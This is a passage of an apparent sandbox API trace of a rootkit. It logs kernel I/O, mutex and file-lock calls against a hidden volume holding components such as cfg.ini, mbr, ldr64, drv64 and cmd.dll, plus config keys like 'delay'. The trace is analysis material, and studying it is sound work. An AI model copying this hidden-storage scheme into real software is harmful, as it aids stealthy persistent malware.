out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.541] KeEnterCriticalRegion () [0121.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4c000 [0121.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.541] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.541] IdePortDispatch () returned 0x103 [0121.541] KeWaitForMutexObject () returned 0x0 [0121.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.541] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.541] IdePortDispatch () returned 0x103 [0121.541] KeWaitForMutexObject () returned 0x0 [0121.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] KeLeaveCriticalRegion () [0121.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.542] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.542] KeEnterCriticalRegion () [0121.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] KeLeaveCriticalRegion () [0121.542] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.542] KeEnterCriticalRegion () [0121.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.542] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] KeLeaveCriticalRegion () [0121.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.542] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.542] KeEnterCriticalRegion () [0121.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] ExFreePoolWithTag (P=0xfffffa8003bd6eb0, Tag=0x0) [0121.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.542] KeLeaveCriticalRegion () [0121.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.542] ReleaseMutex (hMutex=0xf0) returned 1 [0121.542] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.543] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.543] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.543] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.543] KeEnterCriticalRegion () [0121.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.543] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.543] IdePortDispatch () returned 0x103 [0121.543] KeWaitForMutexObject () returned 0x0 [0121.543] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.543] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.543] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.543] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.543] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.543] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.543] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.543] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.543] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.543] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.543] KeLeaveCriticalRegion () [0121.543] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.543] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.543] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.543] KeEnterCriticalRegion () [0121.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.544] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.544] IdePortDispatch () returned 0x103 [0121.544] KeWaitForMutexObject () returned 0x0 [0121.544] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.544] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.544] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.544] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.544] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.544] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.544] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.544] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.544] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.544] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.544] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.544] KeLeaveCriticalRegion () [0121.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.544] ReleaseMutex (hMutex=0x100) returned 1 [0121.544] Sleep (dwMilliseconds=0x2bf20) [0121.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ba5f1d0, dwHighDateTime=0x1d24fa4)) [0121.551] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.551] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.551] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.551] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.551] KeEnterCriticalRegion () [0121.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.551] IdePortDispatch () returned 0x103 [0121.551] KeWaitForMutexObject () returned 0x0 [0121.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.551] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.551] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.551] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.551] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.551] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5970 [0121.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.551] KeLeaveCriticalRegion () [0121.551] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.551] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.551] KeEnterCriticalRegion () [0121.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.551] KeLeaveCriticalRegion () [0121.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.551] KeEnterCriticalRegion () [0121.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.552] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.552] IdePortDispatch () returned 0x103 [0121.552] KeWaitForMutexObject () returned 0x0 [0121.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.552] KeLeaveCriticalRegion () [0121.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.552] KeEnterCriticalRegion () [0121.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4f000 [0121.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.552] IdePortDispatch () returned 0x103 [0121.552] KeWaitForMutexObject () returned 0x0 [0121.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.552] IdePortDispatch () returned 0x103 [0121.552] KeWaitForMutexObject () returned 0x0 [0121.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] KeLeaveCriticalRegion () [0121.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.553] KeEnterCriticalRegion () [0121.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] KeLeaveCriticalRegion () [0121.553] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.553] KeEnterCriticalRegion () [0121.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.553] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] KeLeaveCriticalRegion () [0121.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.553] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.553] KeEnterCriticalRegion () [0121.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] ExFreePoolWithTag (P=0xfffffa8003bc5970, Tag=0x0) [0121.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.553] KeLeaveCriticalRegion () [0121.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.553] ReleaseMutex (hMutex=0xf0) returned 1 [0121.554] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.554] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.554] KeEnterCriticalRegion () [0121.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.554] IdePortDispatch () returned 0x103 [0121.554] KeWaitForMutexObject () returned 0x0 [0121.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.554] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.554] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.554] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.554] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.554] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd61d0 [0121.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.554] KeLeaveCriticalRegion () [0121.554] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.554] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.554] KeEnterCriticalRegion () [0121.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.554] KeLeaveCriticalRegion () [0121.554] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.554] KeEnterCriticalRegion () [0121.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.554] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.554] IdePortDispatch () returned 0x103 [0121.554] KeWaitForMutexObject () returned 0x0 [0121.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.555] KeLeaveCriticalRegion () [0121.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.555] KeEnterCriticalRegion () [0121.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b50000 [0121.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.555] IdePortDispatch () returned 0x103 [0121.555] KeWaitForMutexObject () returned 0x0 [0121.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.555] IdePortDispatch () returned 0x103 [0121.555] KeWaitForMutexObject () returned 0x0 [0121.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.555] KeLeaveCriticalRegion () [0121.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.556] KeEnterCriticalRegion () [0121.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] KeLeaveCriticalRegion () [0121.556] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.556] KeEnterCriticalRegion () [0121.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.556] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] KeLeaveCriticalRegion () [0121.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.556] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.556] KeEnterCriticalRegion () [0121.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] ExFreePoolWithTag (P=0xfffffa8003bd61d0, Tag=0x0) [0121.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] KeLeaveCriticalRegion () [0121.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.556] ReleaseMutex (hMutex=0xf0) returned 1 [0121.556] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.556] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.556] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.556] KeEnterCriticalRegion () [0121.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 